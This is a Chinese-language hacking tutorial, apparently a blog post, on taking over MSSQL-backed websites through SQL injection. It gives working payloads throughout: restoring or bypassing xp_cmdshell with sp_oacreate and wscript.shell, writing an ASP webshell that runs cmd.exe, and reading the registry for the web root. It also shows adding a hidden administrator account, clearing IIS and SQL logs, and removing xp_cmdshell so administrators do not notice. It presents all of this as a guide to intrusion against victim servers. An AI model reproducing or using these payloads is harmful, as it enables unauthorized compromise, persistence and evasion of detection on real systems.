當SA遇到XP_CMDSHELL時

有時候在入侵的時候總是碰到先煩惱的問題,比如SA遇到xp_cmdshell時,如果管理員把xp_cmdshell刪了

怎麼辦呢?總是眼看着肉雞跑了吧!今天我就對XP_CMDSHELL做一先解釋,希望大家能看明白,能看懂

衆所周知,在MSSQL中,通過XP_cmdshell存儲擴展,擁護具有sysadmin權限,用來執行系統任意命令

但是那先網管也不是吃素的,都回把它刪除,所以在SQL Injection攻擊中,獲得xp_cmdshell的執行權限

纔是最終的目標,在MSSQL中一共有8中權限分別是 sysadmin   dbcreator   diskadmin   processadmin   
serveradmin   setupadmin  securityadmin bulkadmin 這8種 每一個都具有不同的權限,大家都因該可

以知道其中的sysadmin權限是最高的,也是我們想要的。。。

大家都知道在MSSQL中,SA的權限是至高無上的了,但是有時獲得了個SA 卻無法執行命令是,是不是很鬱

悶了呢?獲得了個SA一般我們都用SQLTOOLS.EXE連接吧!一個比較好的工具,我也喜歡,呵呵!首先還是

讓我們看看吧!用SQLTOOLS.EXE連上後看看它的XP_cmdshell存儲擴展是不是被刪了,在"利用目錄"菜單

中打開"執行數據庫命令" 填入我們要執行的命令:

Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'

如果返回結果是1的話,說明它沒有刪除這個擴展存儲過程,我們可以執行DOS命令了,如果不行呢?

接着看,還有辦法,我們直接在數據庫命令執行窗寫入:

Exec master.dbo.addextendedproc 'xp_cmdshell', 'xplog70.dll'; select count(*) from

master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'

上面的意思就是恢復默認的存儲過程,如果返回1的話說明恢復成功,不然就是存儲擴展被刪除了,需要我

們給它上傳個xplog70.dll用SQLTOOLS.EXE自帶的文件上傳功能可以輕鬆實現了,把xplog70.dll文件傳到

對方的c:/winnt/system32下,(不行的話,需傳到對方的MSSQL目錄裏)在執行數據庫命令:

Exec master.dbo.addextendedproc 'xp_cmdshell', 'c:/winnt/system32/xplog70.dll'

好了,接下來就是我們常用的命令  net user 和  net localgroup administrators

命令了,還有清楚IIS日記和MSSQL日記就OK了!

上面的方法是可以了但我們還可以饒過xp_cmdshell ,來執行系統命令,大家知道在MSSQL中可以通過兩個

存儲擴展來創建activex自動腳本,呵呵,大家想到了吧!是xp_oacreate和sp_oamethod 通過它們執行系

統命令的語句我們可以自己給他加上哦,代碼如下:


declare @o int

exec sp_oacreate 'wscript.shell', @o out

exec sp_oamethod @o, 'run', NULL, 'net start telnet'

上面那段代碼的意思就是通過服務器上的 wscript.shel 來執行net start telnet 開啓服務器的telnet

接下來呢就是通過FSO對服務器進行文件管理或者直接創建文件並寫入數據,呵呵,可以直接寫一個WEBSHE

LL到服務器上去哦!!!HOHO~~~~

declare @o int, @f int, @ret int

exec sp_oacreate 'scripting.filesystemobject', @o out

exec sp_oamethod @o, 'creatextifile', @f out, 'c:/inetpub/wwwroot/mad.asp', 1

exec @ ret = sp_oamethod @f, 'writeline', NULL, '<% set o =

server.createobject("wscript.shell": o.run("cmd.exe /c "&request.querystring("cmd") %>

上面的代碼就在服務器c:/inetpub/wwwroot/mad.asp上創建了了只有兩行的代碼我們直接連上去就OK了

大家不防試試吧。下面我還是對大家入侵時做一先解釋吧,希望大家能看明白,

舉個例子現在咱們要入侵的網站是這個  www.***.com

第一還是踩點,找到入口,現在注入這麼流行,還是注入吧,因爲一般網站都是ASP+MSSQL結構來架設的假

如這個。www.***.com/script.asp?id=48

還是一樣用,  ;  and 1=1 and 1=2判斷一下,確定可以注入後,我們就可以利用這個漏洞拿到服務器和

數據庫的一些相關信息。想看服務器打的補丁情況,我們提交:

www.***.com/script.asp?id=48 and 1=(select @@VERSION)

我想現在大部分服務器都打上SP4補丁了。我們看看其它的,看看他的數據庫連接賬號的權限,提交:

www.***.com/script.asp?id=48 and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'))

如果返回正常,這證明當前連接的賬號是服務器角色sysadmin權限了,看來連接賬號多半是採用SA賬號連

接的了,自己有好做的了,還是試一下。萬一猜錯了呢?提交:

www.***.com/script.asp?id=48 and 'sa'=(SELECT System_user)

用來查看連接賬號是不是用sa 連接的,如果IE返回正常。這證明了連接賬號真的是SA,看來權限是高了哦

(如果要獲得已登錄用戶的身份,則使用Transact-SQL 語句:SELECT SYSTEM_USER)

下面我們就利用MSSQL存儲過程,得到WebShell,首先還是看看xp_cmdshell是否被管理員刪除了 提交:

www.***.com/script.asp?id=48 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype =

'X' AND name = 'xp_cmdshell')

如果被刪除了,NO PROBLEM  我們給他恢復一下。提交:

www.***.com/script.asp?id=48;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'

試一下 看看xp_cmdshell是不是恢復過來了 提交:

www.***.com/script.asp?id=48 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype =

'X' AND name = 'xp_cmdshell')

如果沒有返回內容。這證明,管理員把xplog70.dll這個動態鏈接庫給改名了。要不給刪除了。現在大家可

以用上面的方法試試了,到這裏有耐心的話還可以繼續啊。可以用CZY提到的方法試試。

不過還用到兩個MSSQL存儲過程

xp_regread 擴展存儲過程和xp_regread Web 助手存儲過程:

xp_regread是用來讀取註冊表信息的,我們通過這個存儲過程來得到保存在註冊表中Web絕對路徑

sp_makewebtask在我們這裏是用來得到WebShell的,其主要功能就是導出數據庫中表的記錄爲文件,文件

名你可以自己指定。當然我們這裏就指定爲ASP腳本文件

CZY的文章已經寫得很詳細了。所以,我這裏就只簡單的提一下吧! 先創建一個表,建一字段,然後向這個

字段中加入木馬的內容。然後,把內容通過xp_makewebtask存儲過程導出成ASP腳本保存在Web絕對路徑中

再次刪除建的臨時表  不知道的可要到網上找找哦!

不過還是先看看這兩個存儲過程是不是被刪了。。提交:

www.***.com/script.asp?id=48 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name=

'xp_regread')

www.***.com/script.asp?id=48 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name=

'sp_makewebtask')

如果兩個都返回正常的話,說明兩個存儲過程都沒有刪除 :

(大家都知道MS的東西很多都放在註冊表中的,Web位置我們可以在註冊表中得到,位置如下:

HKEY_LOCAL_MACHINE/SYSTEM/ControlSet001/Services/W3SVC/Parameters/Virtual Roots

利用擴展存儲過程xp_regread我們可以取得它的值.

EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE',

'SYSTEM/ControlSet001/Services/W3SVC/Parameters/Virtual Roots', '/'

這樣,就取出來了,但問題又來了,取是取出來了,我們怎麼在IE中返回它的值呢?首先:先創建

一個臨時表,表中加一字段,類型爲:char 255。呵呵,用它來保存Web絕對路徑的值。表建好後,我們就

用讀取註冊表的方法,把返回的值保存在一變量中。然後向新建的表中加入記錄(即變量的值)。這樣,

路徑就寫入到了表中。提交:

DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE',

'SYSTEM/ControlSet001/Services/W3SVC/Parameters/Virtual Roots', '/', @result output insert

into 臨時表 (臨時字段名) values(@result);--

然後,我們再提交: 1=(select count(*) from 臨時表 where 臨時字段名>1)  )

我們用CZY的方法繼續提交:

www.***.com/script.asp?id=48;create table [dbo].[ABCD] ([DACB][char](255));

這樣我們就成功地建了一個名爲ABCD的表,並且添加了類型是char,長度爲255的字段名DACB。然後向表中

加數據:

www.***.com/script.asp?id=48;create @result varchar(255) EXEC master.dbo.xp_regread

'HKEY_LOCAL_MACHINE','SYSTEM/ControlSet001/Services/W3SVC/Parameters/Virtual Roots', '/',

@result output insert into cyfd (DACB) values(@result);--

繼續提交從註冊表中讀出Web絕對路徑,再把路徑插入到剛建的表中。然後報出WebShell的絕對路徑

www.***.com/script.asp?id=48 and 1=(select count(*) from cyfd where gyfd > 1)

IE返回錯誤,我們得到Web絕對路徑 例如:e:/Inetpub/wwwroot

還要刪除剛纔建的表 提交:

www.***.com/script.asp?id=48;drop table cyfd;--

接下來就好辦多了,路徑都知道了。得到WEBSHELL因該沒問題了吧,得到WEBSHELL後,通過WEBSHELL上傳

xplog70.dll傳到E:/inetpub/wwwroot目錄下 我們給他恢復下。提交:

www.***.com/script.asp?id=48;EXEC master.dbo.sp_addextendedproc ‘xp_cmdshell',

'e:/inetpub/wwwroot/xplog70.dll'

(恢復,支持絕對路徑的恢復!)

用IE來查看一下是不是已經恢復了。提交:

www.***.com/script.asp?id=48 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype =

'X' AND name = 'xp_cmdshell')

如IE返回正常。說明已經恢復了!下面就建用戶吧。。。。

www.***.com/script.asp?id=48;EXEC master.dbo.xp_cmdshell 'net user abcd 123456 /add'

提升管理員

www.***.com/script.asp?id=48;EXEC master.dbo.xp_cmdshell 'net localgroup administrators abcd
/add'

好了到了這裏就OK了。。如果對方有終端的話,就連接吧。,還有清除IIS日誌,和MSSQL日誌 閃人!~

還有一點就是把xp_cmdshell也給他刪除掉,不要讓網管發現了。HOHO~~~~

完..............(寫了這麼多可能有先看不明白..SORRY!!)
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章